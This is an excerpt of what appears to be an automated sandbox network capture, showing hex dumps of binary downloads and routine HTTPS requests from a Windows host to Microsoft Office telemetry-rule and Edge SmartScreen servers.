2024-10-29 01:46:36 UTC	16384	IN	Data Raw: 88 ca 0d 74 ff b7 03 d5 0b 17 29 2e 12 86 39 8d 65 51 d1 6b 43 f6 37 a6 5e 4e 7e d5 12 8c a6 4c a1 b4 9a f4 6b 69 49 eb 0d 33 90 eb 12 8f 60 36 ec 98 cd 7f 6a 59 fe c5 d1 d5 4b 38 12 92 da 96 3e 8a fd ee fb c5 ac d0 29 b4 8e 13 12 95 25 87 d8 33 f2 c0 16 e8 0f 63 67 d6 78 d1 12 96 03 01 99 d8 95 ea 2c 0a f8 85 62 05 db 93 12 96 52 aa 59 60 de e6 e9 8c 23 d4 b7 c1 34 3d 12 96 bf ae d0 b9 c2 92 db f1 41 07 61 b1 82 5d 12 97 53 89 b5 7c fd 88 82 19 c7 b1 b0 0f af ed 12 98 30 32 6a a5 03 4e 26 db 95 be 1b a9 a3 e2 12 9a ea fe 35 92 c8 f4 3b 7a 18 36 80 cb 78 bf 12 9b 33 a3 9e d9 7b 54 c8 7b da 3b ed a8 dd 25 12 9b 98 d3 83 cc 49 8e 52 58 13 7e 3f 04 d9 af 12 9c 0d 11 dc 93 65 32 c4 f0 f6 a9 12 25 13 25 12 9c 28 31 10 8a f9 38 40 df 1f 08 9f 08 d4 71 12 9f 71 Data Ascii: t).9eQkC7^N~LkiI3`6jYK8>)%3cgx,bRY`#4=Aa]S\|02jN&5;z6x3{T{;%IRX~?e2%%(18@qq
2024-10-29 01:46:36 UTC	16384	IN	Data Raw: 8c e6 1b 88 d1 53 7d a1 f2 bc f6 d3 1b bd 38 be aa 88 bb f2 1c 05 de ac 2c b3 63 c3 1b bf d8 bc e5 a8 4c 42 a1 5e 7d 76 56 07 18 dd 1b c1 05 6e 7a a0 f3 27 8e eb 4f 29 e6 e0 a0 2a 1b c2 a1 45 60 4f 19 d0 fa 94 66 c2 31 56 e0 ac 1b c3 58 61 04 7c 91 76 1b 27 0c 2e 05 4d 26 17 1b c4 0f 81 e0 48 ff 13 e9 e7 fd ae 77 76 47 85 1b c5 d5 9a 68 ef 46 53 52 de 8b 1c 3a 7b 4f 53 1b cc c2 c4 df 4d dc 18 9f 1a a6 aa 47 f5 9f 2e 1b cd 8c 32 11 55 08 6c 9c 2f 0b 09 34 58 ca d2 1b cf 2c 48 15 0b dd b9 a9 cc 90 e8 14 76 e1 c7 1b d1 50 e1 1f 03 b2 ff 0f ab b3 c3 a2 cf c2 1a 1b d6 7a 97 41 b9 a0 2a 37 7b ba 9a 0a 00 47 56 1b da a2 08 31 23 96 3c 24 0a b0 10 2f 5e b6 c3 1b dc 15 6b ce f9 b8 64 db f8 fb 84 2a d6 02 9b 1b dc 58 1e e3 44 3f fb c2 e7 7f 97 d4 41 5f 1c 1b dc 83 Data Ascii: S}8,cLB^}vVnz'O)E`Of1VXa\|v'.M&HwvGhFSR:{OSMG.2Ul/4X,HvPzA7{GV1#<$/^kd*XD?A_
2024-10-29 01:46:36 UTC	16384	IN	Data Raw: 9c f0 8f 05 68 32 cf 23 af 0f e9 31 25 17 e2 83 8c a0 e0 45 41 22 69 ae 51 16 97 9e 25 19 94 88 65 65 22 da 5c e4 68 67 07 cf 5f 7a 25 1e 6a 2e 6e bf 40 39 a7 91 dd 9f 82 5c b4 be 25 21 01 14 90 ab fe fa c5 d4 0a 62 0b cd 30 e1 25 21 03 7a 48 db 3d 1f b8 bc 66 91 12 c8 41 7f 25 24 00 6f 09 69 7b 22 bc d0 5a 82 9d c8 cb 00 25 24 76 95 60 1f 20 bf 51 8e ef 43 af 74 27 17 25 24 d0 90 ec 4d 35 f3 3b 75 d1 b6 56 62 63 3e 25 25 bd 14 86 f0 f0 dc 12 c9 55 32 f1 85 66 4f 25 25 de ea a2 0c 7b b9 31 02 c3 fc 10 0f 92 23 25 27 0a 2e 12 37 63 79 36 e7 03 6f 4c 1e 67 7e 25 29 ef 20 dd 60 cb e0 1f 91 82 96 c4 38 ef d3 25 2c 0d 19 1e 65 a3 27 9b 58 e2 44 e3 80 93 37 25 2c e2 18 e3 78 51 0e b2 f9 62 26 e5 78 8f 9f 25 36 84 bd bb 8f cc a6 bc 42 a8 bf 22 b0 f1 a9 25 3a 54 Data Ascii: h2#1%EA"iQ%ee"\hg_z%j.n@9\%!b0%!zH=fA%$oi{"Z%$v` QCt'%$M5;uVbc>%%U2fO%%{1#%'.7cy6oLg~%) `8%,e'XD7%,xQb&x%6B"%:T
2024-10-29 01:46:37 UTC	16384	IN	Data Raw: b6 07 8f 44 9d 29 36 4f 29 8a 7d 80 2e 1d 98 b7 c7 17 54 cd a1 2b c2 e9 29 21 98 f9 2e 1f 4a 0d ee 13 3f 5a 00 ff e7 0d f0 d4 1c 86 2e 21 27 d4 ff 4a 83 22 1e 86 3f 93 6b 62 a1 0e 2e 25 e1 37 a1 70 d4 f6 b3 17 bd e9 dd 8d 2a 44 2e 26 32 0d f4 82 4c f6 14 9e 97 92 23 fa 52 37 2e 2a 40 96 f4 4d 34 89 21 f2 49 39 e8 d3 d3 19 2e 2b ef 39 f1 8a 4a 7e 28 b9 d0 be 00 6f 35 68 2e 2e 95 d3 bd e3 e7 a0 d6 d0 25 5e 0d b7 b5 a5 2e 31 ce 53 a9 54 e0 3b 3c 2f fc 4d eb 0f a5 e1 2e 33 1e 46 e8 3a 01 30 91 17 49 f3 33 11 46 79 2e 36 b7 bb 07 e4 6d 92 d5 42 49 d7 e5 49 f4 85 2e 36 e8 96 57 36 97 bb 40 7a 3b ca 8a e0 7e 53 2e 3a 1e f2 97 75 d6 ae 4f f5 85 eb 36 38 65 e5 2e 3a 59 df c9 6e 75 92 ac 40 ac 59 a6 fd e4 1c 2e 3b 8e 5c 94 1d 75 39 54 06 13 6b 6e 7f ef 30 2e 43 e8 Data Ascii: D)6O)}.T+)!.J?Z.!'J"?kb.%7pD.&2L#R7.@M4!I9.+9J~(o5h..%^.1ST;</M.3F:0I3Fy.6mBII.6W6@z;~S.:uO68e.:Ynu@Y.;\u9Tkn0.C
2024-10-29 01:46:37 UTC	16384	IN	Data Raw: 02 f3 ca e4 05 cb a0 be 15 69 62 32 37 3c 37 3b db 81 8a b2 df cf ef b1 79 3f f8 ae 37 3d a3 01 e8 95 76 a1 63 78 77 2e 93 42 3d 4f 37 3e c4 08 a5 37 4f 84 43 dc 19 00 a9 8f 2e 0d 37 3f 82 55 cb cd 06 b9 0c 0d 94 f9 4f d6 82 e8 37 44 09 28 b8 33 ef b7 ee 6b 4c 90 ee e0 d1 3a 37 44 83 9a 56 2d 6a 58 ea 6b e5 8f 6a 1d 17 23 37 47 0f 55 f8 2b 1c 30 89 3a 1d e2 21 89 b7 42 37 4b 86 38 d0 cd 9f 96 62 d8 da bf d5 15 ed cb 37 4e 81 34 2b 0e ea ab 6f ae 29 15 59 32 ae 46 37 50 d2 0c 2a e2 ca 59 ec 21 86 70 f9 7a 6c d1 37 55 32 b2 91 f0 e7 b8 47 d0 f7 0f 64 90 d9 51 37 56 ce 44 24 61 58 d7 f8 d4 0d 8b fe 3d b0 27 37 58 1f 24 d2 a5 24 9c d7 5c 5a 71 f9 e9 f2 a3 37 58 9d d0 f0 06 3a 05 be 08 d9 90 bc 18 0d 71 37 5d 04 71 81 05 8e b6 9b 24 f2 54 35 1b 18 46 37 62 eb Data Ascii: ib27<7;y?7=vcxw.B=O7>7OC.7?UO7D(3kL:7DV-jXkj#7GU+0:!B7K8b7N4+o)Y2F7P*Y!pzl7U2GdQ7VD$aX='7X$$\Zq7X:q7]q$T5F7b
2024-10-29 01:46:37 UTC	16384	IN	Data Raw: 30 9b b9 2f 98 88 40 3b cc 98 d2 59 40 6d c4 d7 67 2a f1 8a f6 d5 d3 92 a9 c6 13 1d 40 71 5f 29 26 14 e2 86 f2 b1 3c d6 fc 07 07 4a 40 77 d4 86 06 be 80 6f b2 fd e4 19 fe 6b 6a 94 40 78 4d f5 b9 67 58 78 83 29 63 04 29 22 98 8d 40 7a 85 3f 10 18 78 19 d3 be 45 8d 0e 49 7b bb 40 7b 5d c5 55 97 e5 9d 35 9d 27 93 51 1d be 21 40 7d 42 88 f1 ca 9d ba 2a 28 3a f8 72 71 ba c7 40 7e 4d cf f4 13 b8 8f f1 9c e6 e4 a8 50 74 d0 40 80 bb 51 db 04 52 b7 b2 f3 5f dc db 6d 4b de 40 88 e2 91 a0 6c 67 8c d2 0b 9f d2 91 ca 6d 22 40 8a b9 d3 6a f9 07 64 05 ea 52 dc 44 82 0b 38 40 8b 54 ce 67 df 8c a3 48 2d 96 f6 ed e4 cf 78 40 8e 78 fd f9 d7 db ac 12 a0 80 27 db 9f 14 42 40 90 00 78 66 ff 66 2b 58 9f 18 13 aa 3d 6e b3 40 90 fa a1 0b 8e ee 2b 73 4b 59 c6 c9 b1 84 9b 40 93 53 Data Ascii: 0/@;Y@mg@q_)&<J@wokj@xMgXx)c)"@z?xEI{@{]U5'Q!@}B(:rq@~MPt@QR_mK@lgm"@jdRD8@TgH-x@x'B@xff+X=n@+sKY@S
2024-10-29 01:46:37 UTC	16384	IN	Data Raw: 66 82 7d 26 60 5e 84 ec 72 2a af 39 49 bb 12 c2 0a 6a 68 a1 f1 aa 3c 93 f9 79 13 0e 49 bb 81 dd 8c 7e 5d 19 6b 54 60 33 c1 1e 70 56 49 bc df 84 ed 14 a3 5d 07 06 25 84 6a 95 02 e0 49 bd eb 48 24 83 1e f1 e0 29 fe 9e e6 22 da 07 49 c1 2d 65 e8 79 f6 32 c8 9b 5b 3f 1a a8 9d b9 49 c4 33 af 97 7a e9 a1 ba ed 12 d0 a3 40 1e 42 49 c5 09 f1 9f 2c bb 61 75 14 cf 80 9c 0e 85 9e 49 c8 81 16 cb ae 60 54 25 eb 75 fe e4 b5 16 8c 49 cc 62 7c 10 80 46 f7 71 86 18 7b bd ea 45 5f 49 cd ad e9 e7 ee e9 a2 7e 24 2e 10 93 70 b0 ad 49 d1 bc ac 01 05 b1 9b be b4 f8 4e e6 0c 0d ac 49 d2 4b be 25 0a bd 70 d0 f7 10 c2 d7 38 8b f2 49 d4 c5 71 4c 7f 7a 2a 83 c3 c3 50 d2 c2 4c 3e 49 d5 40 eb ee b7 40 f4 16 fe b4 e7 35 d0 25 e3 49 d6 e7 89 68 04 ba a1 f5 37 3f 51 0a 5e cc 25 49 da b4 Data Ascii: f}&`^r9Ijh<yI~]kT`3pVI]%jIH$)"I-ey2[?I3z@BI,auI`T%uIb\|Fq{E_I~$.pINIK%p8IqLzPL>I@@5%Ih7?Q^%I

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.5	49846	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:36 UTC	192	OUT	GET /rules/rule120661v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:36 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:36 GMT Content-Type: text/xml Content-Length: 411 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B989AF051" x-ms-request-id: 8e6d5db5-101e-0017-4c27-2747c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014636Z-16849878b78g2m84h2v9sta29000000004w0000000000k7w x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:36 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
80	192.168.2.5	49848	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:36 UTC	192	OUT	GET /rules/rule120663v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:36 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:36 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:32 GMT ETag: "0x8DC582BB556A907" x-ms-request-id: a342e9ea-d01e-0066-419c-27ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014636Z-16849878b78x6gn56mgecg60qc00000007k000000000qu8x x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:36 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 52 72 5d 5b 41 61 5d 5b 4c 6c 5d 5b 4c 6c 5d 5b 45 65 5d 5b 4c 6c 5d 5b 53 73 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120663" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <SR T="2" R="([Pp][Aa][Rr][Aa][Ll][Ll][Ee][Ll][Ss])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.5	49847	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:36 UTC	192	OUT	GET /rules/rule120662v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:36 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:36 GMT Content-Type: text/xml Content-Length: 470 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:42 GMT ETag: "0x8DC582BBB181F65" x-ms-request-id: a3f41134-c01e-00ad-7d0b-29a2b9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014636Z-15b8d89586f5s5nz3ffrgxn5ac00000006h0000000009w4r x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 01:46:36 UTC	470	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120662" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120661" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.5	49845	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:36 UTC	192	OUT	GET /rules/rule120660v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:36 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:36 GMT Content-Type: text/xml Content-Length: 485 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:39 GMT ETag: "0x8DC582BB9769355" x-ms-request-id: e574f622-301e-0052-4beb-2565d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014636Z-16849878b78nx5sne3fztmu6xc00000006v000000000a3bh x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-10-29 01:46:36 UTC	485	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120660" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
83	192.168.2.5	49854	13.91.96.185	443	7736	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:36 UTC	723	OUT	POST /api/browser/edge/data/bloomfilter/x/3 HTTP/1.1 Host: data-edge.smartscreen.microsoft.com Connection: keep-alive Content-Length: 746 Accept: application/octet-stream;application/x-patch-bsdiff; Authorization: SmartScreenHash eyJhdXRoSWQiOiI0MWE0MzhiYy0xMjQ5LTQzZDMtYTI2ZC02OWNkNjJjMDgzMTciLCAia2V5IjoiUnQwbFE2STQrSTBHbFRJVzhCS1BRQT09IiwgImhhc2giOiJvQWFTNWNDcVRUUT0ifQ== Content-Type: application/json; charset=utf-8 If-None-Match: "636976985063396749.rel.v2" Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 Accept-Encoding: gzip, deflate, br
2024-10-29 01:46:36 UTC	746	OUT	Data Raw: 7b 22 69 64 65 6e 74 69 74 79 22 3a 7b 22 75 73 65 72 22 3a 7b 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 7d 2c 22 64 65 76 69 63 65 22 3a 7b 22 69 64 22 3a 6e 75 6c 6c 2c 22 63 75 73 74 6f 6d 49 64 22 3a 6e 75 6c 6c 2c 22 6f 6e 6c 69 6e 65 49 64 54 69 63 6b 65 74 22 3a 6e 75 6c 6c 2c 22 66 61 6d 69 6c 79 22 3a 33 2c 22 6c 6f 63 61 6c 65 22 3a 22 65 6e 2d 47 42 22 2c 22 6f 73 56 65 72 73 69 6f 6e 22 3a 22 31 30 2e 30 2e 31 39 30 34 35 2e 32 30 30 36 2e 76 62 5f 72 65 6c 65 61 73 65 22 2c 22 62 72 6f 77 73 65 72 22 3a 7b 22 69 6e 74 65 72 6e 65 74 5f 65 78 70 6c 6f 72 65 72 22 3a 22 39 2e 31 31 2e 31 39 30 34 31 2e 30 22 7d 2c 22 6e 65 74 4a 6f 69 6e 53 74 61 74 75 73 22 3a 32 2c 22 65 6e 74 65 72 70 72 69 73 65 22 3a 7b 7d 2c 22 63 6c 6f 75 64 53 6b Data Ascii: {"identity":{"user":{"locale":"en-GB"},"device":{"id":null,"customId":null,"onlineIdTicket":null,"family":3,"locale":"en-GB","osVersion":"10.0.19045.2006.vb_release","browser":{"internet_explorer":"9.11.19041.0"},"netJoinStatus":2,"enterprise":{},"cloudSk
2024-10-29 01:46:37 UTC	248	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:36 GMT Content-Type: application/octet-stream Content-Length: 57 Connection: close Server: Kestrel ETag: "638343870221005468" Request-Context: appId=cid-v1:3d5e3eff-de07-43c3-a15d-06b05ff513c8
2024-10-29 01:46:37 UTC	57	IN	Data Raw: 39 00 00 00 0a 00 00 00 6d 75 72 6d 75 72 33 00 0d 00 00 00 e7 00 00 00 0c 00 00 00 2c 4d f0 68 e4 05 e3 5a 14 87 bb 38 10 5c e2 c4 94 3c 26 4c 69 f1 48 99 f4 5b b2 3f 6d Data Ascii: 9murmur3,MhZ8\<&LiH[?m

Session ID	Source IP	Source Port	Destination IP	Destination Port
84	192.168.2.5	49855	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:37 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:37 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:37 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: 3281a84b-401e-0029-700c-289b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014637Z-r197bdfb6b4d9xksru4x6qbqr000000005zg0000000026u7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 01:46:37 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120665" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120663" /> <SR T="2" R="([Pp][Ss][Ss][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
85	192.168.2.5	49856	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:37 UTC	192	OUT	GET /rules/rule120666v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-10-29 01:46:37 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 29 Oct 2024 01:46:37 GMT Content-Type: text/xml Content-Length: 474 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:30 GMT ETag: "0x8DC582BB3F48DAE" x-ms-request-id: 4b1c8405-301e-005d-7701-27e448000000 x-ms-version: 2018-03-28 x-azure-ref: 20241029T014637Z-16849878b785dznd7xpawq9gcn00000007a000000000533d x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-10-29 01:46:37 UTC	474	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120666" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120665" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
86	192.168.2.5	49858	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-10-29 01:46:37 UTC	192	OUT	GET /rules/rule120669v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
